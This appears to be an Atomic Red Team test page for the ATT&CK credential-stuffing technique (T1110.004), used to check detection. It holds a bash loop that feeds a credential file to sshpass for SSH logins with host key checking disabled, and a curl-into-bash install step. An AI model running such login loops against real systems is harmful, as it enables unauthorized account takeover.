# T1110.004 - Credential Stuffing
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1110/004)
<blockquote>Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.

Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.

Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:

* SSH (22/TCP)
* Telnet (23/TCP)
* FTP (21/TCP)
* NetBIOS / SMB / Samba (139/TCP & 445/TCP)
* LDAP (389/TCP)
* Kerberos (88/TCP)
* RDP / Terminal Services (3389/TCP)
* HTTP/HTTP Management Services (80/TCP & 443/TCP)
* MSSQL (1433/TCP)
* Oracle (1521/TCP)
* MySQL (3306/TCP)
* VNC (5900/TCP)

In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)</blockquote>

## Atomic Tests

- [Atomic Test #1 - SSH Credential Stuffing From Linux](#atomic-test-1---ssh-credential-stuffing-from-linux)

- [Atomic Test #2 - SSH Credential Stuffing From MacOS](#atomic-test-2---ssh-credential-stuffing-from-macos)


<br/>

## Atomic Test #1 - SSH Credential Stuffing From Linux
Using username,password combination from a password dump to login over SSH.

**Supported Platforms:** Linux


**auto_generated_guid:** 4f08197a-2a8a-472d-9589-cd2895ef22ad





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target_host | IP Address / Hostname you want to target. | String | localhost|


#### Attack Commands: Run with `bash`! 


```bash
cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
```




#### Dependencies:  Run with `bash`!
##### Description: Requires SSHPASS
##### Check Prereq Commands:
```bash
if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi;
```
##### Get Prereq Commands:
```bash
if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo apt install sshpass -y; else echo "This test requires sshpass" ; fi ;
```




<br/>
<br/>

## Atomic Test #2 - SSH Credential Stuffing From MacOS
Using username,password combination from a password dump to login over SSH.

**Supported Platforms:** macOS


**auto_generated_guid:** d546a3d9-0be5-40c7-ad82-5a7d79e1b66b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target_host | IP Address / Hostname you want to target. | String | localhost|


#### Attack Commands: Run with `bash`! 


```bash
cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/
for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done
```




#### Dependencies:  Run with `bash`!
##### Description: Requires SSHPASS
##### Check Prereq Commands:
```bash
if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi;
```
##### Get Prereq Commands:
```bash
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
brew install hudochenkov/sshpass/sshpass
```




<br/>
